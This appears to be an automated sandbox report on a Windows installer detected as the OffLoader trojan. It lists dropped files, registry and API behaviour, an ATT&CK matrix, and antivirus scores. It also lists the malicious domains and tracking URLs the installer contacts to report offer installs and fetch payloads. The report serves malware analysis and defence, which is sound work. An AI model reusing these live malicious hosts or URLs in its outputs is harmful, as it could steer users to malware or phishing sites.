Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: winrar-x64-623.exe.2.dr, nsq7A47.tmp.2.dr

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00405E88

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Static PE information: section name: .didata
Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp.0.dr	Static PE information: section name: .didata
Source: is-H6D1D.tmp.1.dr	Static PE information: section name: .didata
Source: winrar-x64-623.exe.2.dr	Static PE information: section name: .didat
Source: winrar-x64-623.exe.2.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	File created: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-6A8MO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File created: C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Windows\is-H6D1D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\is-5J49M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File created: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Windows\unins000.exe (copy)			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	File created: C:\Windows\is-H6D1D.tmp			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Dropped PE file which has not been started: C:\Windows\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp	Dropped PE file which has not been started: C:\Windows\is-H6D1D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Dropped PE file which has not been started: C:\winrar-x64-623.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_00405E61 FindFirstFileA,FindClose,	2_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	Code function: 2_2_0040263E FindFirstFileA,	2_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.000000000097F000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.00000000009BC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2906336415.0000000005670000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.0000000000622000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_2-3562
Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe	API call chain: ExitProcess graph end node			graph_2-3560

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_00405E88 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00405E88

Source: C:\Users\user\AppData\Local\Temp\is-9JNCR.tmp\61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp

Queries volume information: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe

Code function: 2_2_00405B88 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

2_2_00405B88

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	1 Process Injection	21 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	1 System Shutdown/Reboot	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	13 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	2 System Owner/User Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	14 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	42%	ReversingLabs	Win32.Trojan.OffLoader
61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	46%	Virustotal		Browse
61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\winrar-x64-623.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsn8043.tmp\inetc.dll	5%	ReversingLabs
C:\winrar-x64-623.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
restfork.website	10%	Virustotal	Browse
beadhouse.xyz	1%	Virustotal	Browse
antsmemory.xyz	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=365&a=2529&dn=310&spot=5&t=170592	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2529&dn=244&spot=3&t=170	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_polos.php?tim=1705920717&rcc=US&c=2529&p=0.9	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1&t=1705920717	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=365&a=2529&dn=310&spot=5&t=17	0%	Avira URL Cloud	safe
http://restfork.website/boa.phpZ	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&t=1705920717	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670C	0%	Avira URL Cloud	safe
http://restfork.website/boa.phpZ	7%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717	0%	Avira URL Cloud	safe
http://restfork.website/	100%	Avira URL Cloud	malware
https://doc-hosting.flycricket.io/health-tracker-privacy-policy/e1662a21-b082-4dae-bcb0-3abd33859f1c	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670=K	0%	Avira URL Cloud	safe
http://restfork.website/	10%	Virustotal		Browse
http://restfork.website/boa.php	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2529&dn=424&spot=4&t=1	0%	Avira URL Cloud	safe
https://doc-hosting.flycricket.io/health-tracker-privacy-policy/e1662a21-b082-4dae-bcb0-3abd33859f1c	0%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2529&dn=244&spot=3&t=17	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	100%	Avira URL Cloud	malware
http://restfork.website/boa.php	7%	Virustotal		Browse
https://beadhouse.xyz/;	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717InnoDownloadPlugin/1.5/USERAGENT/silentget1023	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&t=1705920717	0%	Avira URL Cloud	safe
https://destructionheat.site/tracker/thank_you.php?trk=2529	100%	Avira URL Cloud	malware
https://www.innosetup.com/	0%	Avira URL Cloud	safe
https://beadhouse.xyz/	0%	Avira URL Cloud	safe
https://www.pcmaintainer.com/eula	1%	Virustotal		Browse
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670529&dn=310&spot=5&t=1705920717z	0%	Avira URL Cloud	safe
https://destructionheat.site/tracker/thank_you.php?trk=2529	1%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6&t=1705920717	0%	Avira URL Cloud	safe
https://beadhouse.xyz/;	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2529&dn=420&spot=1&t=17059	0%	Avira URL Cloud	safe
https://beadhouse.xyz/	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2529&dn=420&spot=1&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2529&dn=420&spot=1&t=17	0%	Avira URL Cloud	safe
http://antsmemory.xyz/	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/api_pedl.php?spot=2&a=2529&on=419&o=1661S	0%	Avira URL Cloud	safe
http://antsmemory.xyz/	0%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2529&dn=419&spot=2&t=17	0%	Avira URL Cloud	safe
https://www.innosetup.com/	2%	Virustotal		Browse
https://advancedmanager.io/eula	0%	Avira URL Cloud	safe
http://restfork.website/y	100%	Avira URL Cloud	malware
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4&t=1705920717	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662	0%	Avira URL Cloud	safe
https://advancedmanager.io/eula	0%	Virustotal		Browse
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717V	0%	Avira URL Cloud	safe
http://sto.farmscene.website/track_polos.php?tim=1705920717&rcc=US&c=2529&p=0.9Inno	0%	Avira URL Cloud	safe
https://advancedmanager.io/privacy-policy	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365-	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2529&dn=419&spot=2&t=17	0%	Virustotal		Browse
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717n	0%	Avira URL Cloud	safe
http://restfork.website/y	8%	Virustotal		Browse
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2529&dn=419&spot=2&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1670&a=2529&dn=434&spot=6&t=17059	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662n	0%	Avira URL Cloud	safe
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQ	100%	Avira URL Cloud	phishing
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662q	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2529&dn=424&spot=4&t=17059	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1670&a=2529&dn=434&spot=6&t=1	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365S	0%	Avira URL Cloud	safe
http://www.pcmaintainer.com/privacy	100%	Avira URL Cloud	malware
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365=2529&dn=424&spot=4&t=1705920717	0%	Avira URL Cloud	safe
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717u	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=2&a=2529&on=419&o=1661	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2&t=1705920717	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=3&a=2529&on=244&o=331	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2529&dn=419&spot=2&t=17059	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670%	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365-128B-460A-A029-1EFC4AB6174A	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664=	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2529&dn=424&spot=4&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2529&dn=244&spot=3&t=170592	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365	0%	Avira URL Cloud	safe
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=365&a=2529&dn=310&spot=5&t=170	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1670&a=2529&dn=434&spot=6&t=17	0%	Avira URL Cloud	safe
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
restfork.website	172.67.206.124	true	true	10%, Virustotal, Browse	unknown
beadhouse.xyz	104.21.38.59	true	true	1%, Virustotal, Browse	unknown
antsmemory.xyz	104.21.23.90	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1&t=1705920717	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&t=1705920717	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717	false	Avira URL Cloud: safe	unknown
http://restfork.website/boa.php	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&t=1705920717	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6&t=1705920717	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4&t=1705920717	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=2&a=2529&on=419&o=1661	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2&t=1705920717	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=3&a=2529&on=244&o=331	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2529&dn=244&spot=3&	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=365&a=2529&dn=310&spot=5&t=170592	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=365&a=2529&dn=310&spot=5&	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705920717&rcc=US&c=2529&p=0.9	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2529&dn=244&spot=3&t=170	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
